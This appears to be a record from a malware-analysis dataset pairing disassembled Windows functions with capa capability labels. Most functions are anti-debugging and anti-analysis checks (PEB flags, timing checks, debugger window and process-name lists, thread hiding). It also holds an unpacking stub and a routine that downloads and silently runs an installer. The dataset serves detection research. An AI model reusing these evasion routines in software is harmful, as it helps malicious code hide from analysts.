joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011258
Capabilities:
Terminate process

Disassembly:
jmp 0x140012640
push rbp
push rdi
sub rsp, 0x208
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x46
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x1c8], rax
lea rcx, [0x1400250f7]
call fcn.14001146a
nop
mov qword [rbp + 8], 0xffffffffffffffff
lea rax, [rbp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov dword [rbp + 0x74], 0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0xffffffffffffffff
je 0x1400126c5
cmp qword [rbp + 0x98], 0
jne 0x1400126ca
jmp 0x140012775
mov qword [rbp + 0xb8], 0
lea rdx, str.NtQueryInformationProcess
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
jne 0x1400126fc
jmp 0x140012775
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x74]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp + 0x28]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [rbp + 0xb8]
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 0
jl 0x140012775
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0xf8], rax
cmp qword [rbp + 0xf8], 0
je 0x140012775
mov rax, qword [rbp + 0xf8]
movzx eax, byte [rax + 2]
test eax, eax
je 0x140012775
lea rdx, str.Caught_by_NtQueryInformationProcess__ProcessDebugPort__
mov cx, 0x1004
call fcn.1400112bc
nop
mov ecx, 0x1004
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14001bec0]
call fcn.1400113cf
mov rcx, qword [rbp + 0x1c8]
xor rcx, rbp
call fcn.14001121c
lea rsp, [rbp + 0x1d8]
pop rdi
pop rbp
ret

Function at 0x14001126c
Capabilities:
Terminate process

Disassembly:
jmp 0x140014830
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011271
Capabilities:
Check for time delay via gettickcount
Terminate process

Disassembly:
jmp 0x140012210
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x1400250f7]
call fcn.14001146a
nop
mov dword [rbp + 4], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbp + 0x24], eax
call fcn.14001115e
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x24]
mov ecx, dword [rbp + 0x44]
sub ecx, eax
mov eax, ecx
cmp eax, 0x1e
jbe 0x140012261
mov dword [rbp + 4], 1
cmp dword [rbp + 4], 0
je 0x140012284
lea rdx, str.Caught_by_GetTickCount_
mov cx, 0x3002
call fcn.1400112bc
nop
mov ecx, 0x3002
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x14001127b
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Terminate process

Disassembly:
jmp 0x140011f70
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x738
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x12a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x758]
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x6d8], rax
lea rcx, [0x1400250f7]
call fcn.14001146a
nop
mov dword [rbp + 4], 0
lea rax, [rbp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0xb8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rbp + 0x30], 0x68
mov dword [rbp + 0x314], 0
lea r8, str.antidbg
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x14001203d
mov rcx, qword [rbp + 0x700]
call qword [sym.imp.ucrtbased.dll_atoi]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_DebugActiveProcess]
test eax, eax
je 0x140012031
jmp 0x140012155
mov ecx, 0x22b
call qword [sym.imp.ucrtbased.dll_exit]
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x334], eax
mov r8d, 0x104
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
nop
mov eax, dword [rbp + 0x334]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
lea r8, str._ws__d
mov edx, 0x109
lea rcx, [rbp + 0x360]
call fcn.140011320
nop
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x360]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x484], eax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
lea rdx, [rbp + 0x314]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
nop
cmp dword [rbp + 0x314], 0x22b
jne 0x140012116
mov dword [rbp + 4], 1
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp dword [rbp + 4], 0
je 0x140012155
lea rdx, str.Caught_by_DebugActiveProcess_
mov cx, 0x1008
call fcn.1400112bc
nop
mov ecx, 0x1008
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rcx, [rbp - 0x50]
lea rdx, [0x14001c070]
call fcn.1400113cf
mov rcx, qword [rbp + 0x6d8]
xor rcx, rbp
call fcn.14001121c
lea rsp, [rbp + 0x6e8]
pop rdi
pop rbp
ret
Function at 0x140011299
Capabilities:
Enumerate processes
Terminate process

Disassembly:
jmp 0x140012960
push rbp
push rsi
push rdi
sub rsp, 0x830
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x174
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x808], rax
lea rcx, [0x1400250f7]
call fcn.14001146a
nop
lea rax, str.cheatengine_x86_64.exe
mov qword [rbp + 8], rax
lea rax, str.ollydbg.exe
mov qword [rbp + 0x10], rax
lea rax, str.ida.exe
mov qword [rbp + 0x18], rax
lea rax, str.ida64.exe
mov qword [rbp + 0x20], rax
lea rax, str.radare2.exe
mov qword [rbp + 0x28], rax
lea rax, str.x64dbg.exe
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x80], 0x238
lea rax, [rbp + 0x84]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
xor edx, edx
mov ecx, 2
call fcn.140011203
mov qword [rbp + 0x2d8], rax
mov dword [rbp + 0x5c0], 0x238
lea rax, [rbp + 0x5c4]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
lea rax, [rbp + 0x80]
lea rcx, [rbp + 0x5c0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x238
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x80]
mov rcx, qword [rbp + 0x2d8]
call fcn.1400112b2
test eax, eax
jne 0x140012a72
lea rcx, str._Warning__It_is_impossible_to_check_process_list.
call fcn.1400111f9
nop
jmp 0x140012b2c
lea rax, [rbp + 8]
mov qword [rbp + 0x2f8], rax
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x318], rax
mov rax, qword [rbp + 0x2f8]
add rax, 0x30
mov qword [rbp + 0x338], rax
jmp 0x140012ab1
mov rax, qword [rbp + 0x318]
add rax, 8
mov qword [rbp + 0x318], rax
mov rax, qword [rbp + 0x338]
cmp qword [rbp + 0x318], rax
je 0x140012b11
mov rax, qword [rbp + 0x318]
mov rax, qword [rax]
mov qword [rbp + 0x358], rax
lea rax, [rbp + 0xac]
mov qword [rbp + 0x58], rax
mov rdx, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x140012b0f
lea rdx, str.Caught_by_ProcessFileName_
mov cx, 0x1009
call fcn.1400112bc
nop
mov ecx, 0x1009
call qword [sym.imp.ucrtbased.dll_exit]
nop
jmp 0x140012a9f
lea rdx, [rbp + 0x80]
mov rcx, qword [rbp + 0x2d8]
call fcn.1400113f7
test eax, eax
jne 0x140012a72
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x14001bde0]
call fcn.1400113cf
mov rcx, qword [rbp + 0x808]
xor rcx, rbp
call fcn.14001121c
lea rsp, [rbp + 0x810]
pop rdi
pop rsi
pop rbp
ret

Function at 0x14001133e
Capabilities:
Terminate process

Disassembly:
jmp 0x1400124f0
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400250f7]
call fcn.14001146a
nop
mov dword [rbp + 4], 0
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14001253f
lea rdx, str.Caught_by_IsDebuggerPresent_
mov cx, 0x1002
call fcn.1400112bc
nop
mov ecx, 0x1002
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x1400113bb
Capabilities:
Terminate process

Disassembly:
jmp 0x140012cf0
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400250f7]
call fcn.14001146a
nop
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
lea rax, [rbp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
lea rcx, [rbp + 0x68]
call fcn.140011415
nop
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
shl rax, 0x20
or rax, qword [rbp + 0x70]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
shl rax, 0x20
or rax, qword [rbp + 0x80]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x48]
sub rcx, rax
mov rax, rcx
cmp rax, 0x100000
jbe 0x140012daf
mov dword [rbp + 4], 1
cmp dword [rbp + 4], 0
je 0x140012dd2
lea rdx, str.Caught_by_RDTSC_
mov cx, 0x3000
call fcn.1400112bc
nop
mov ecx, 0x3000
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x14001c1a0]
call fcn.1400113cf
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.14001121c
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x1400113e3
Capabilities:
Hide thread from debugger

Disassembly:
jmp 0x140012800
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x1400250f7]
call fcn.14001146a
nop
mov dword [rbp + 4], 0x11
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
je 0x140012842
cmp qword [rbp + 0x28], 0
jne 0x140012844
jmp 0x140012880
mov qword [rbp + 0x48], 0
lea rdx, str.NtSetInformationThread
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14001286a
jmp 0x140012880
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov edx, dword [rbp + 4]
mov rcx, rax
call qword [rbp + 0x48]
nop
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140011410
Capabilities:
Check for time delay via queryperformancecounter
Terminate process

Disassembly:
jmp 0x140012bf0
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400250f7]
call fcn.14001146a
nop
mov dword [rbp + 4], 0
lea rcx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
nop
call fcn.1400111ae
nop
lea rcx, [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
nop
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x48]
sub rcx, rax
mov rax, rcx
cmp rax, 0x1e
jle 0x140012c6c
mov dword [rbp + 4], 1
cmp dword [rbp + 4], 0
je 0x140012c8f
lea rdx, str.Caught_by_QueryPerformanceCounter_
mov cx, 0x3001
call fcn.1400112bc
nop
mov ecx, 0x3001
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x14001c260]
call fcn.1400113cf
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.14001121c
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x140011415
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x140011a1d
rdtsc
mov qword [rcx], rdx
mov qword [rcx + 8], rax
xor rax, rax
mov rax, 5
shr rax, 2
sub rax, rbx
cmp rax, rcx
rdtsc
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
ret

Function at 0x140011429
Capabilities:
Terminate process

Disassembly:
jmp 0x1400125d0
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400250f7]
call fcn.14001146a
nop
mov dword [rbp + 4], 0
call fcn.14001104b
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14001261e
lea rdx, str.Caught_by_NtGlobalFlag_PEB_check_
mov cx, 0x1003
call fcn.1400112bc
nop
mov ecx, 0x1003
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x140011438
Capabilities:
Check for peb beingdebugged flag

Disassembly:
jmp 0x1400119d0
xor rax, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 2]
and rax, 0xff
ret

Function at 0x14001143d
Capabilities:
Terminate process

Disassembly:
jmp 0x140011db0
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x1400250f7]
call fcn.14001146a
nop
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
lea rax, str.OllyDbg____CPU_
mov qword [rbp + 0x48], rax
lea rax, str.Immunity_Debugger____CPU_
mov qword [rbp + 0x68], rax
mov rdx, qword [rbp + 0x48]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140011e0f
mov dword [rbp + 4], 1
mov rdx, qword [rbp + 0x68]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140011e2d
mov dword [rbp + 4], 1
cmp dword [rbp + 4], 0
je 0x140011e50
lea rdx, str.Caught_by_FindWindow__WindowName__
mov cx, 0x1005
call fcn.1400112bc
nop
mov ecx, 0x1005
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140011483
Capabilities:
Terminate process

Disassembly:
jmp 0x140011b80
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400250f7]
call fcn.14001146a
nop
mov dword [rbp + 4], 0
call fcn.140011438
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140011bce
lea rdx, str.Caught_by_BeingDebugged_PEB_check_
mov cx, 0x1000
call fcn.1400112bc
nop
mov ecx, 0x1000
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x1401dda80
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1401dda8d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1401dda9d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1401dda85
lea eax, [rcx + 1]
jmp 0x1401ddaab
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1401ddabe
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1401ddaa4
sub eax, 3
jb 0x1401ddade
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1401ddb2d
sar eax, 1
movsxd rbp, eax
jb 0x1401ddb14
jmp 0x1401ddaec
add ebx, ebx
jne 0x1401ddaea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401ddb14
inc ecx
add ebx, ebx
jne 0x1401ddafa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401ddb14
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1401ddb0d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1401ddafc
add ecx, 2
jmp 0x1401ddb19
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1401dda42
jmp 0x1401dda8d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xb6800
mov dl, 0x1d
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1401ddb79
cmp rsi, rcx
jae 0x1401ddb81
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1401ddb60
cmp al, 0x8f
ja 0x1401ddb60
cmp byte [rsi - 2], 0xf
je 0x1401ddb66
sub al, 0xe8
cmp al, 1
ja 0x1401ddb4a
cmp rsi, rcx
jae 0x1401ddb81
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1401ddb50
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1401ddb81
lodsb al, byte [rsi]
jmp 0x1401ddb60
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1da000]
mov eax, dword [rdi]
or eax, eax
je 0x1401ddbde
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1dd000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1401ddb8e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1401ddbd8
mov qword [rbx], rax
add rbx, 8
jmp 0x1401ddbae
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1401ddc18
cmp al, 0xef
ja 0x1401ddc0a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1401ddbea
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1401ddbf9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1a7]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.1401ddc97], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.1401ddc97
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1401ddc87
sub rsp, 0xffffffffffffff80
jmp 0x140026300
Function at 0x14001e302
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140030190
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x428
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x448]
mov rax, qword [0x14006b040]
xor rax, rbp
mov qword [rbp + 0x3f8], rax
lea rcx, [0x140074168]
call fcn.14001f045
nop
xor edx, edx
mov ecx, 2
call fcn.14001e7cb
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x1400301f5
xor al, al
jmp 0x140030270
mov dword [rbp + 0x30], 0x238
lea rax, [rbp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.14001e9f1
test eax, eax
jne 0x14003022c
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor al, al
jmp 0x140030270
lea rdx, [rbp + 0x5c]
mov rcx, qword [rbp + 0x420]
call fcn.14001e569
movzx eax, al
test eax, eax
je 0x140030252
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov al, 1
jmp 0x140030270
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.14001ee0b
test eax, eax
jne 0x14003022c
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14005ed90]
call fcn.14001ed75
mov rax, rdi
mov rcx, qword [rbp + 0x3f8]
xor rcx, rbp
call fcn.14001e7f3
lea rsp, [rbp + 0x408]
pop rdi
pop rbp
ret

Function at 0x14001e339
Capabilities:
Create thread

Disassembly:
jmp 0x140029360
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x16
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x14006b040]
xor rax, rbp
mov qword [rbp + 0x100], rax
lea rcx, [0x14007411a]
call fcn.14001f045
nop
mov edx, 8
lea rcx, [rbp + 8]
call fcn.14001e4c4
mov rdx, qword [rbp + 0x138]
lea rcx, [rbp + 8]
call fcn.14001e84d
nop
lea rax, [0x14001eab4]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x130]
add rax, 8
mov qword [rbp + 0xf8], rax
lea rcx, [rbp + 8]
call fcn.14001eaeb
mov rcx, qword [rbp + 0xf8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x130]
mov qword [rcx], rax
mov rax, qword [rbp + 0x130]
cmp qword [rax], 0
je 0x14002943c
lea rcx, [rbp + 8]
call fcn.14001e6f9
nop
jmp 0x140029455
mov rax, qword [rbp + 0x130]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.14001e37f
nop
lea rcx, [rbp + 8]
call fcn.14001e6b3
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x140061250]
call fcn.14001ed75
mov rcx, qword [rbp + 0x100]
xor rcx, rbp
call fcn.14001e7f3
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret
Function at 0x14001e3bb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
jmp 0x140030100
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x140074168]
call fcn.14001f045
nop
mov rcx, qword [rbp + 0x100]
call fcn.14001e555
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
je 0x140030154
mov eax, dword [rbp + 4]
and eax, 0x10
test eax, eax
jne 0x140030154
mov dword [rbp + 0xd4], 1
jmp 0x14003015e
mov dword [rbp + 0xd4], 0
movzx eax, byte [rbp + 0xd4]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x14001e5b4
Capabilities:
Download url
Execute command
Receive data

Disassembly:
jmp 0x14002fd60
push r13
push rbp
push rdi
sub rsp, 0x4f0
lea r13, [rsp + 0x30]
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
lea rdi, [rsp + 0x30]
mov ecx, 0xd0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14006b040]
xor rax, r13
mov qword [rbp + 0x490], rax
lea rcx, [0x140074168]
call fcn.14001f045
nop
lea rax, [rbp + 0x314]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x334]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x314]
movzx r8d, byte [rbp + 0x334]
movzx edx, byte [rbp + 0x354]
lea rcx, [rbp + 0x2a0]
call fcn.140020fb0
mov rcx, rax
call fcn.14001e96f
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.14001e758
nop
lea rcx, [rbp + 0x378]
call fcn.14001ef00
mov qword [rbp + 0x468], rax
mov rax, qword [rbp + 0x468]
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x470]
mov qword [rbp + 0x478], rax
lea rdx, [rbp + 0x3b8]
mov rcx, qword [rbp + 0x478]
call fcn.14001e285
mov qword [rbp + 0x480], rax
mov rax, qword [rbp + 0x480]
mov qword [rbp + 0x488], rax
lea r8, str.python_installer.exe
mov rdx, qword [rbp + 0x488]
lea rcx, [rbp + 0x48]
call fcn.14001eef1
nop
lea rcx, [rbp + 0x3b8]
call fcn.14001e2da
nop
lea rcx, [rbp + 0x378]
call fcn.14001eeec
nop
lea rcx, [rbp + 0x48]
call fcn.14001e190
mov qword [rbp + 0x468], rax
lea rcx, [rbp + 8]
call fcn.14001e190
mov qword [rbp + 0x470], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x468]
mov rdx, qword [rbp + 0x470]
xor ecx, ecx
call fcn.14001e370
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jl 0x14002ff8d
lea r8, [rbp + 0x48]
lea rdx, [0x1400620ac]
lea rcx, [rbp + 0x3f8]
call fcn.14001e0a5
mov qword [rbp + 0x468], rax
mov rax, qword [rbp + 0x468]
mov qword [rbp + 0x470], rax
lea r8, str.___quiet_InstallAllUsers1_PrependPath1
mov rdx, qword [rbp + 0x470]
lea rcx, [rbp + 0xa8]
call fcn.14001eef1
nop
lea rcx, [rbp + 0x3f8]
call fcn.14001e2da
nop
lea rcx, [rbp + 0xa8]
call fcn.14001e190
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov dword [rbp + 0xe4], eax
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x438]
call fcn.14001ece4
nop
lea rcx, [rbp + 0x438]
call fcn.14001ed93
nop
lea rcx, [rbp + 0x438]
call fcn.14001eeec
nop
lea rcx, [rbp + 0xa8]
call fcn.14001e2da
nop
lea rcx, [rbp + 0x48]
call fcn.14001e2da
nop
lea rcx, [rbp + 8]
call fcn.14001e2da
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14005f980]
call fcn.14001ed75
mov rcx, qword [rbp + 0x490]
xor rcx, r13
